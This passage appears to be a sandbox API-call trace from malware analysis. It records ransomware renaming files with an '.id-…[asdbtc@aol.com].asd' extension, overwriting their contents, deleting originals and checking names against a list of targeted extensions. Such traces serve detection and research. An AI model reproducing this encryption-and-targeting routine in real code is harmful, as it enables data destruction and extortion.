users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0060.005] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=162970271) returned 1 [0060.006] CloseHandle (hObject=0x220) returned 1 [0060.006] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0060.006] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0060.006] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0060.006] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0060.007] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0060.007] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.007] ReadFile (in: hFile=0x220, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.011] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.011] ReadFile (in: hFile=0x220, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.020] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.020] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.020] ReadFile (in: hFile=0x220, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.036] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.036] WriteFile (in: hFile=0x220, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0060.772] SetEndOfFile (hFile=0x220) returned 1 [0060.772] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0060.772] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.772] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.773] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.773] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.776] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.777] WriteFile (in: hFile=0x220, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.779] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0060.779] CloseHandle (hObject=0x220) returned 1 [0060.779] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0060.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.779] lstrlenW (lpString=".doc") returned 4 [0060.780] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString=".docx") returned 5 [0060.780] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0060.780] lstrlenW (lpString=".pdf") returned 4 [0060.780] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString=".xls") returned 4 [0060.780] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString=".xlsx") returned 5 [0060.780] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0060.780] lstrlenW (lpString=".ppt") returned 4 [0060.780] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.780] lstrlenW (lpString=".zip") returned 4 [0060.780] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString=".rar") returned 4 [0060.780] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString=".bz2") returned 4 [0060.780] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0060.780] lstrlenW (lpString=".7z") returned 3 [0060.780] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0060.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.780] lstrlenW (lpString=".dbf") returned 4 [0060.780] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.780] lstrlenW (lpString=".1cd") returned 4 [0060.780] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0060.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.780] lstrlenW (lpString=".jpg") returned 4 [0060.780] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0060.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.780] lstrlenW (lpString=".doc") returned 4 [0060.781] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString=".docx") returned 5 [0060.781] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0060.781] lstrlenW (lpString=".pdf") returned 4 [0060.781] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString=".xls") returned 4 [0060.781] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString=".xlsx") returned 5 [0060.781] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0060.781] lstrlenW (lpString=".ppt") returned 4 [0060.781] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.781] lstrlenW (lpString=".zip") returned 4 [0060.781] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString=".rar") returned 4 [0060.781] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString=".bz2") returned 4 [0060.781] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0060.781] lstrlenW (lpString=".7z") returned 3 [0060.781] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.781] lstrlenW (lpString=".dbf") returned 4 [0060.781] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.781] lstrlenW (lpString=".1cd") returned 4 [0060.781] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0060.781] lstrlenW (lpString=".jpg") returned 4 [0060.781] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0060.782] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0060.782] lstrlenW (lpString="setup.exe") returned 9 [0060.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0060.782] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1377656) returned 1 [0060.782] CloseHandle (hObject=0x220) returned 1 [0060.782] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0060.782] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0060.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0060.782] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.783] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.783] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.783] GetLastError () returned 0x0 [0060.797] ReadFile (in: hFile=0x220, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0060.820] WriteFile (in: hFile=0x1f0, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0060.837] ReadFile (in: hFile=0x220, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x50588, lpOverlapped=0x0) returned 1 [0061.089] WriteFile (in: hFile=0x1f0, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x50590, lpOverlapped=0x0) returned 1 [0061.233] ReadFile (in: hFile=0x220, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.233] WriteFile (in: hFile=0x1f0, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.233] SetEndOfFile (hFile=0x1f0) returned 1 [0061.233] CloseHandle (hObject=0x1f0) returned 1 [0061.233] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.234] SetEndOfFile (hFile=0x220) returned 1 [0061.237] CloseHandle (hObject=0x220) returned 1 [0061.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0061.238] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0061.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.238] lstrlenW (lpString=".doc") returned 4 [0061.238] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0061.238] lstrlenW (lpString=".docx") returned 5 [0061.238] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0061.238] lstrlenW (lpString=".pdf") returned 4 [0061.238] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0061.238] lstrlenW (lpString=".xls") returned 4 [0061.238] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0061.238] lstrlenW (lpString=".xlsx") returned 5 [0061.238] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0061.238] lstrlenW (lpString=".ppt") returned 4 [0061.238] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0061.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.239] lstrlenW (lpString=".zip") returned 4 [0061.239] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0061.239] lstrlenW (lpString=".rar") returned 4 [0061.239] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0061.239] lstrlenW (lpString=".bz2") returned 4 [0061.239] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0061.239] lstrlenW (lpString=".7z") returned 3 [0061.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.239] lstrlenW (lpString=".dbf") returned 4 [0061.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0061.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.239] lstrlenW (lpString=".1cd") returned 4 [0061.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0061.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.239] lstrlenW (lpString=".jpg") returned 4 [0061.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0061.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.239] lstrlenW (lpString=".doc") returned 4 [0061.239] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0061.239] lstrlenW (lpString=".docx") returned 5 [0061.239] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0061.239] lstrlenW (lpString=".pdf") returned 4 [0061.239] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0061.239] lstrlenW (lpString=".xls") returned 4 [0061.240] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0061.240] lstrlenW (lpString=".xlsx") returned 5 [0061.240] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0061.240] lstrlenW (lpString=".ppt") returned 4 [0061.240] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0061.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.240] lstrlenW (lpString=".zip") returned 4 [0061.240] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0061.240] lstrlenW (lpString=".rar") returned 4 [0061.240] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0061.240] lstrlenW (lpString=".bz2") returned 4 [0061.240] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0061.240] lstrlenW (lpString=".7z") returned 3 [0061.240] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0061.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.240] lstrlenW (lpString=".dbf") returned 4 [0061.240] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0061.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.240] lstrlenW (lpString=".1cd") returned 4 [0061.240] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0061.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0061.240] lstrlenW (lpString=".jpg") returned 4 [0061.240] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0061.240] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0061.241] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0061.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0061.307] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=36233052) returned 1 [0061.307] CloseHandle (hObject=0x190) returned 1 [0061.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0061.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0061.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0061.308] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0061.308] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.308] ReadFile (in: hFile=0x190, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.316] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.316] ReadFile (in: hFile=0x190, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0061.328] ReadFile (in: hFile=0x190, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.362] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.362] WriteFile (in: hFile=0x190, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0061.682] SetEndOfFile (hFile=0x190) returned 1 [0061.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0061.682] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.682] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.683] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.683] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.684] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.684] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0061.687] CloseHandle (hObject=0x190) returned 1 [0061.687] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0061.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.688] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0061.688] lstrlenW (lpString=".doc") returned 4 [0061.688] lstrcmpiW 